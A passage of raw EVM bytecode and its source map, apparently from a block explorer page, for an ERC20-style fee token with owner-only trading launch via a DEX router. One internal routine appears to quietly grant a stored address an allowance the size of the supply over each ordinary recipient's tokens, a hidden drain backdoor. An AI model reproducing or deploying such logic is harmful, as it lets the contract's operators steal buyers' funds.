ffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a269291906119b5565b6020604051808303815f875af1158015610a42573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a669190611a06565b50600160075f6101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b90611aa1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd990611b2f565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cbc91906116b4565b60405180910390a3505050565b5f8111610d0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0290611bbd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7090611c25565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dde90611c8d565b60405180910390fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610e7057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610eb457610eb16064610ea3600c54600d5411610e9057600a54610e94565b600f545b8561127f90919063ffffffff16565b6112f690919063ffffffff16565b90505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610f5d575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610fb857610f9e6064610f90600b54600d5411610f7d57600854610f81565b600e545b8561127f90919063ffffffff16565b6112f690919063ffffffff16565b9050600d5f815480929190610fb290611cd8565b91905055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611062575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561109a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156110a9576110a88361133f565b5b6110f98260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461123690919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061118a8260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113f390919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122891906116b4565b60405180910390a350505050565b5f61127783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611450565b905092915050565b5f80830361128f575f90506112f0565b5f828461129c9190611d1f565b90508284826112ab9190611d8d565b146112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290611e2d565b60405180910390fd5b809150505b92915050565b5f61133783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b2565b905092915050565b60015460025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113e99190611e4b565b9250508190555050565b5f8082846114019190611e4b565b905083811015611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90611ec8565b60405180910390fd5b8091505092915050565b5f838311158290611497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148e9190611583565b60405180910390fd5b505f83856114a59190611ee6565b9050809150509392505050565b5f80831182906114f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ef9190611583565b60405180910390fd5b505f83856115069190611d8d565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61155582611513565b61155f818561151d565b935061156f81856020860161152d565b6115788161153b565b840191505092915050565b5f6020820190508181035f83015261159b818461154b565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115d0826115a7565b9050919050565b6115e0816115c6565b81146115ea575f80fd5b50565b5f813590506115fb816115d7565b92915050565b5f819050919050565b61161381611601565b811461161d575f80fd5b50565b5f8135905061162e8161160a565b92915050565b5f806040838503121561164a576116496115a3565b5b5f611657858286016115ed565b925050602061166885828601611620565b9150509250929050565b5f8115159050919050565b61168681611672565b82525050565b5f60208201905061169f5f83018461167d565b92915050565b6116ae81611601565b82525050565b5f6020820190506116c75f8301846116a5565b92915050565b5f805f606084860312156116e4576116e36115a3565b5b5f6116f1868287016115ed565b9350506020611702868287016115ed565b925050604061171386828701611620565b9150509250925092565b5f60ff82169050919050565b6117328161171d565b82525050565b5f60208201905061174b5f830184611729565b92915050565b61175a816115c6565b82525050565b5f6020820190506117735f830184611751565b92915050565b5f6020828403121561178e5761178d6115a3565b5b5f61179b848285016115ed565b91505092915050565b5f80604083850312156117ba576117b96115a3565b5b5f6117c7858286016115ed565b92505060206117d8858286016115ed565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61181660208361151d565b9150611821826117e2565b602082019050919050565b5f6020820190508181035f8301526118438161180a565b9050919050565b5f81519050611858816115d7565b92915050565b5f60208284031215611873576118726115a3565b5b5f6118808482850161184a565b91505092915050565b5f60408201905061189c5f830185611751565b6118a96020830184611751565b9392505050565b5f819050919050565b5f819050919050565b5f6118dc6118d76118d2846118b0565b6118b9565b611601565b9050919050565b6118ec816118c2565b82525050565b5f60c0820190506119055f830189611751565b61191260208301886116a5565b61191f60408301876118e3565b61192c60608301866118e3565b6119396080830185611751565b61194660a08301846116a5565b979650505050505050565b5f8151905061195f8161160a565b92915050565b5f805f6060848603121561197c5761197b6115a3565b5b5f61198986828701611951565b935050602061199a86828701611951565b92505060406119ab86828701611951565b9150509250925092565b5f6040820190506119c85f830185611751565b6119d560208301846116a5565b9392505050565b6119e581611672565b81146119ef575f80fd5b50565b5f81519050611a00816119dc565b92915050565b5f60208284031215611a1b57611a1a6115a3565b5b5f611a28848285016119f2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611a8b60248361151d565b9150611a9682611a31565b604082019050919050565b5f6020820190508181035f830152611ab881611a7f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b1960228361151d565b9150611b2482611abf565b604082019050919050565b5f6020820190508181035f830152611b4681611b0d565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f611ba7602a8361151d565b9150611bb282611b4d565b604082019050919050565b5f6020820190508181035f830152611bd481611b9b565b9050919050565b7f7472616e7366657220746f207a65726f206164647265737300000000000000005f82015250565b5f611c0f60188361151d565b9150611c1a82611bdb565b602082019050919050565b5f6020820190508181035f830152611c3c81611c03565b9050919050565b7f7472616e736665722066726f6d207a65726f20616464726573732e00000000005f82015250565b5f611c77601b8361151d565b9150611c8282611c43565b602082019050919050565b5f6020820190508181035f830152611ca481611c6b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ce282611601565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d1457611d13611cab565b5b600182019050919050565b5f611d2982611601565b9150611d3483611601565b9250828202611d4281611601565b91508282048414831517611d5957611d58611cab565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611d9782611601565b9150611da283611601565b925082611db257611db1611d60565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e1760218361151d565b9150611e2282611dbd565b604082019050919050565b5f6020820190508181035f830152611e4481611e0b565b9050919050565b5f611e5582611601565b9150611e6083611601565b9250828201905080821115611e7857611e77611cab565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611eb2601b8361151d565b9150611ebd82611e7e565b602082019050919050565b5f6020820190508181035f830152611edf81611ea6565b9050919050565b5f611ef082611601565b9150611efb83611601565b9250828203905081811115611f1357611f12611cab565b5b9291505056fea264697066735822122046016c4ce6c2cedbdc4bc2b262e3e489ae02a9c2a1c02add8076f3e60bb9699264736f6c63430008190033
Deployed Bytecode Sourcemap
2597:4529:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4200:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4390:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4291:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4798:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3896:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2943:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4082:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;483:140;;;;;;;;;;;;;:::i;:::-;;87:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3987;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6967:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6056:560;;;:::i;:::-;;4548:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4200:83;4237:13;4270:5;;;;;;;;;;;;;;;;;4263:12;;4200:83;:::o;4390:150::-;4456:4;4473:37;4482:10;4494:7;4503:6;4473:8;:37::i;:::-;4528:4;4521:11;;4390:150;;;;:::o;4291:91::-;4335:7;4362:12;;4355:19;;4291:91;:::o;4798:256::-;4887:4;4904:36;4914:6;4922:9;4933:6;4904:9;:36::i;:::-;4951:73;4960:6;4968:10;4980:43;5016:6;4980:11;:19;4992:6;4980:19;;;;;;;;;;;;;;;:31;5000:10;4980:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;4951:8;:73::i;:::-;5042:4;5035:11;;4798:256;;;;;:::o;3896:83::-;3937:5;3962:9;;;;;;;;;;;3955:16;;3896:83;:::o;2943:28::-;;;;;;;;;;;;;:::o;4082:110::-;4139:7;4166:9;:18;4176:7;4166:18;;;;;;;;;;;;;;;;4159:25;;4082:110;;;:::o;483:140::-;379:10;368:21;;:7;:5;:7::i;:::-;:21;;;360:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;582:1:::1;545:40;;566:6;::::0;::::1;;;;;;;;545:40;;;;;;;;;;;;613:1;596:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;483:140::o:0;87:87::-;133:7;160:6;;;;;;;;;;;153:13;;87:87;:::o;3987:::-;4026:13;4059:7;;;;;;;;;;;;;;;;;4052:14;;3987:87;:::o;6967:156::-;7036:4;7053:40;7063:10;7075:9;7086:6;7053:9;:40::i;:::-;7111:4;7104:11;;6967:156;;;;:::o;6056:560::-;379:10;368:21;;:7;:5;:7::i;:::-;:21;;;360:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6126:11:::1;;;;;;;;;;;6125:12;6117:21;;;::::0;::::1;;6148:63;6165:4;6180:15;;;;;;;;;;;6198:12;;6148:8;:63::i;:::-;6222:12;6237:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6222:37;;6304:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6286:56;;;6351:4;6358;6286:77;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6270:13;;:93;;;;;;;;;;;;;;;;;;6374:15;;;;;;;;;;;:31;;;6413:9;6433:4;6440:24;6458:4;6440:9;:24::i;:::-;6466:1;6469::::0;6472:7:::1;:5;:7::i;:::-;6481:15;6374:123;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6515:13;;;;;;;;;;;6508:29;;;6546:15;;;;;;;;;;;6564:14;6508:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6604:4;6590:11;;:18;;;;;;;;;;;;;;;;;;6106:510;6056:560::o:0;4548:134::-;4620:7;4647:11;:18;4659:5;4647:18;;;;;;;;;;;;;;;:27;4666:7;4647:27;;;;;;;;;;;;;;;;4640:34;;4548:134;;;;:::o;6624:335::-;6734:1;6717:19;;:5;:19;;;6709:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6815:1;6796:21;;:7;:21;;;6788:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6897:6;6867:11;:18;6879:5;6867:18;;;;;;;;;;;;;;;:27;6886:7;6867:27;;;;;;;;;;;;;;;:36;;;;6935:7;6919:32;;6928:5;6919:32;;;6944:6;6919:32;;;;;;:::i;:::-;;;;;;;;6624:335;;;:::o;5062:986::-;5159:1;5150:6;:10;5142:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;5240:1;5226:16;;:2;:16;;;5218:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;5306:1;5290:18;;:4;:18;;;5282:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;5351:17;5390:13;;;;;;;;;;;5384:19;;:2;:19;;;:43;;;;;5422:4;5407:20;;:4;:20;;;;5384:43;5381:166;;;5456:79;5531:3;5456:70;5478:16;;5468:9;;:26;5467:58;;5510:15;;5467:58;;;5496:13;;5467:58;5456:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;5444:91;;5381:166;5569:13;;;;;;;;;;;5561:21;;:4;:21;;;:55;;;;;5600:15;;;;;;;;;;;5586:30;;:2;:30;;;;5561:55;5557:202;;;5645:76;5717:3;5645:67;5667:15;;5657:9;;:25;5656:55;;5697:14;;5656:55;;;5684:12;;5656:55;5645:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;5633:88;;5736:9;;:11;;;;;;;;;:::i;:::-;;;;;;5557:202;5787:15;;;;;;;;;;;5773:30;;:2;:30;;;;:53;;;;;5813:13;;;;;;;;;;;5807:19;;:2;:19;;;;5773:53;:76;;;;;5844:4;5830:19;;:2;:19;;;;5773:76;5769:122;;;5865:14;5876:2;5865:10;:14::i;:::-;5769:122;5919:27;5939:6;5919:9;:15;5929:4;5919:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5901:9;:15;5911:4;5901:15;;;;;;;;;;;;;;;:45;;;;5973:25;5991:6;5973:9;:13;5983:2;5973:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;5957:9;:13;5967:2;5957:13;;;;;;;;;;;;;;;:41;;;;6029:2;6014:26;;6023:4;6014:26;;;6033:6;6014:26;;;;;;:::i;:::-;;;;;;;;5131:917;5062:986;;;:::o;652:136::-;710:7;737:43;741:1;744;737:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;730:50;;652:136;;;;:::o;932:246::-;990:7;1019:1;1014;:6;1010:47;;1044:1;1037:8;;;;1010:47;1067:9;1083:1;1079;:5;;;;:::i;:::-;1067:17;;1112:1;1107;1103;:5;;;;:::i;:::-;:10;1095:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1169:1;1162:8;;;932:246;;;;;:::o;794:132::-;852:7;879:39;883:1;886;879:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;872:46;;794:132;;;;:::o;4688:102::-;4770:12;;4740:11;:15;4752:2;4740:15;;;;;;;;;;;;;;;:26;4756:9;;;;;;;;;;;4740:26;;;;;;;;;;;;;;;;:42;;;;;;;:::i;:::-;;;;;;;;4688:102;:::o;1184:179::-;1242:7;1262:9;1278:1;1274;:5;;;;:::i;:::-;1262:17;;1303:1;1298;:6;;1290:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1354:1;1347:8;;;1184:179;;;;:::o;1369:190::-;1455:7;1488:1;1483;:6;;1491:12;1475:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1515:9;1531:1;1527;:5;;;;:::i;:::-;1515:17;;1550:1;1543:8;;;1369:190;;;;;:::o;1565:189::-;1651:7;1683:1;1679;:5;1686:12;1671:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1710:9;1726:1;1722;:5;;;;:::i;:::-;1710:17;;1745:1;1738:8;;;1565:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:222::-;4963:4;5001:2;4990:9;4986:18;4978:26;;5014:71;5082:1;5071:9;5067:17;5058:6;5014:71;:::i;:::-;4870:222;;;;:::o;5098:329::-;5157:6;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;5357:53;5402:7;5393:6;5382:9;5378:22;5357:53;:::i;:::-;5347:63;;5303:117;5098:329;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:182::-;6053:34;6049:1;6041:6;6037:14;6030:58;5913:182;:::o;6101:366::-;6243:3;6264:67;6328:2;6323:3;6264:67;:::i;:::-;6257:74;;6340:93;6429:3;6340:93;:::i;:::-;6458:2;6453:3;6449:12;6442:19;;6101:366;;;:::o;6473:419::-;6639:4;6677:2;6666:9;6662:18;6654:26;;6726:9;6720:4;6716:20;6712:1;6701:9;6697:17;6690:47;6754:131;6880:4;6754:131;:::i;:::-;6746:139;;6473:419;;;:::o;6898:143::-;6955:5;6986:6;6980:13;6971:22;;7002:33;7029:5;7002:33;:::i;:::-;6898:143;;;;:::o;7047:351::-;7117:6;7166:2;7154:9;7145:7;7141:23;7137:32;7134:119;;;7172:79;;:::i;:::-;7134:119;7292:1;7317:64;7373:7;7364:6;7353:9;7349:22;7317:64;:::i;:::-;7307:74;;7263:128;7047:351;;;;:::o;7404:332::-;7525:4;7563:2;7552:9;7548:18;7540:26;;7576:71;7644:1;7633:9;7629:17;7620:6;7576:71;:::i;:::-;7657:72;7725:2;7714:9;7710:18;7701:6;7657:72;:::i;:::-;7404:332;;;;;:::o;7742:85::-;7787:7;7816:5;7805:16;;7742:85;;;:::o;7833:60::-;7861:3;7882:5;7875:12;;7833:60;;;:::o;7899:158::-;7957:9;7990:61;8008:42;8017:32;8043:5;8017:32;:::i;:::-;8008:42;:::i;:::-;7990:61;:::i;:::-;7977:74;;7899:158;;;:::o;8063:147::-;8158:45;8197:5;8158:45;:::i;:::-;8153:3;8146:58;8063:147;;:::o;8216:807::-;8465:4;8503:3;8492:9;8488:19;8480:27;;8517:71;8585:1;8574:9;8570:17;8561:6;8517:71;:::i;:::-;8598:72;8666:2;8655:9;8651:18;8642:6;8598:72;:::i;:::-;8680:80;8756:2;8745:9;8741:18;8732:6;8680:80;:::i;:::-;8770;8846:2;8835:9;8831:18;8822:6;8770:80;:::i;:::-;8860:73;8928:3;8917:9;8913:19;8904:6;8860:73;:::i;:::-;8943;9011:3;9000:9;8996:19;8987:6;8943:73;:::i;:::-;8216:807;;;;;;;;;:::o;9029:143::-;9086:5;9117:6;9111:13;9102:22;;9133:33;9160:5;9133:33;:::i;:::-;9029:143;;;;:::o;9178:663::-;9266:6;9274;9282;9331:2;9319:9;9310:7;9306:23;9302:32;9299:119;;;9337:79;;:::i;:::-;9299:119;9457:1;9482:64;9538:7;9529:6;9518:9;9514:22;9482:64;:::i;:::-;9472:74;;9428:128;9595:2;9621:64;9677:7;9668:6;9657:9;9653:22;9621:64;:::i;:::-;9611:74;;9566:129;9734:2;9760:64;9816:7;9807:6;9796:9;9792:22;9760:64;:::i;:::-;9750:74;;9705:129;9178:663;;;;;:::o;9847:332::-;9968:4;10006:2;9995:9;9991:18;9983:26;;10019:71;10087:1;10076:9;10072:17;10063:6;10019:71;:::i;:::-;10100:72;10168:2;10157:9;10153:18;10144:6;10100:72;:::i;:::-;9847:332;;;;;:::o;10185:116::-;10255:21;10270:5;10255:21;:::i;:::-;10248:5;10245:32;10235:60;;10291:1;10288;10281:12;10235:60;10185:116;:::o;10307:137::-;10361:5;10392:6;10386:13;10377:22;;10408:30;10432:5;10408:30;:::i;:::-;10307:137;;;;:::o;10450:345::-;10517:6;10566:2;10554:9;10545:7;10541:23;10537:32;10534:119;;;10572:79;;:::i;:::-;10534:119;10692:1;10717:61;10770:7;10761:6;10750:9;10746:22;10717:61;:::i;:::-;10707:71;;10663:125;10450:345;;;;:::o;10801:223::-;10941:34;10937:1;10929:6;10925:14;10918:58;11010:6;11005:2;10997:6;10993:15;10986:31;10801:223;:::o;11030:366::-;11172:3;11193:67;11257:2;11252:3;11193:67;:::i;:::-;11186:74;;11269:93;11358:3;11269:93;:::i;:::-;11387:2;11382:3;11378:12;11371:19;;11030:366;;;:::o;11402:419::-;11568:4;11606:2;11595:9;11591:18;11583:26;;11655:9;11649:4;11645:20;11641:1;11630:9;11626:17;11619:47;11683:131;11809:4;11683:131;:::i;:::-;11675:139;;11402:419;;;:::o;11827:221::-;11967:34;11963:1;11955:6;11951:14;11944:58;12036:4;12031:2;12023:6;12019:15;12012:29;11827:221;:::o;12054:366::-;12196:3;12217:67;12281:2;12276:3;12217:67;:::i;:::-;12210:74;;12293:93;12382:3;12293:93;:::i;:::-;12411:2;12406:3;12402:12;12395:19;;12054:366;;;:::o;12426:419::-;12592:4;12630:2;12619:9;12615:18;12607:26;;12679:9;12673:4;12669:20;12665:1;12654:9;12650:17;12643:47;12707:131;12833:4;12707:131;:::i;:::-;12699:139;;12426:419;;;:::o;12851:229::-;12991:34;12987:1;12979:6;12975:14;12968:58;13060:12;13055:2;13047:6;13043:15;13036:37;12851:229;:::o;13086:366::-;13228:3;13249:67;13313:2;13308:3;13249:67;:::i;:::-;13242:74;;13325:93;13414:3;13325:93;:::i;:::-;13443:2;13438:3;13434:12;13427:19;;13086:366;;;:::o;13458:419::-;13624:4;13662:2;13651:9;13647:18;13639:26;;13711:9;13705:4;13701:20;13697:1;13686:9;13682:17;13675:47;13739:131;13865:4;13739:131;:::i;:::-;13731:139;;13458:419;;;:::o;13883:174::-;14023:26;14019:1;14011:6;14007:14;14000:50;13883:174;:::o;14063:366::-;14205:3;14226:67;14290:2;14285:3;14226:67;:::i;:::-;14219:74;;14302:93;14391:3;14302:93;:::i;:::-;14420:2;14415:3;14411:12;14404:19;;14063:366;;;:::o;14435:419::-;14601:4;14639:2;14628:9;14624:18;14616:26;;14688:9;14682:4;14678:20;14674:1;14663:9;14659:17;14652:47;14716:131;14842:4;14716:131;:::i;:::-;14708:139;;14435:419;;;:::o;14860:177::-;15000:29;14996:1;14988:6;14984:14;14977:53;14860:177;:::o;15043:366::-;15185:3;15206:67;15270:2;15265:3;15206:67;:::i;:::-;15199:74;;15282:93;15371:3;15282:93;:::i;:::-;15400:2;15395:3;15391:12;15384:19;;15043:366;;;:::o;15415:419::-;15581:4;15619:2;15608:9;15604:18;15596:26;;15668:9;15662:4;15658:20;15654:1;15643:9;15639:17;15632:47;15696:131;15822:4;15696:131;:::i;:::-;15688:139;;15415:419;;;:::o;15840:180::-;15888:77;15885:1;15878:88;15985:4;15982:1;15975:15;16009:4;16006:1;15999:15;16026:233;16065:3;16088:24;16106:5;16088:24;:::i;:::-;16079:33;;16134:66;16127:5;16124:77;16121:103;;16204:18;;:::i;:::-;16121:103;16251:1;16244:5;16240:13;16233:20;;160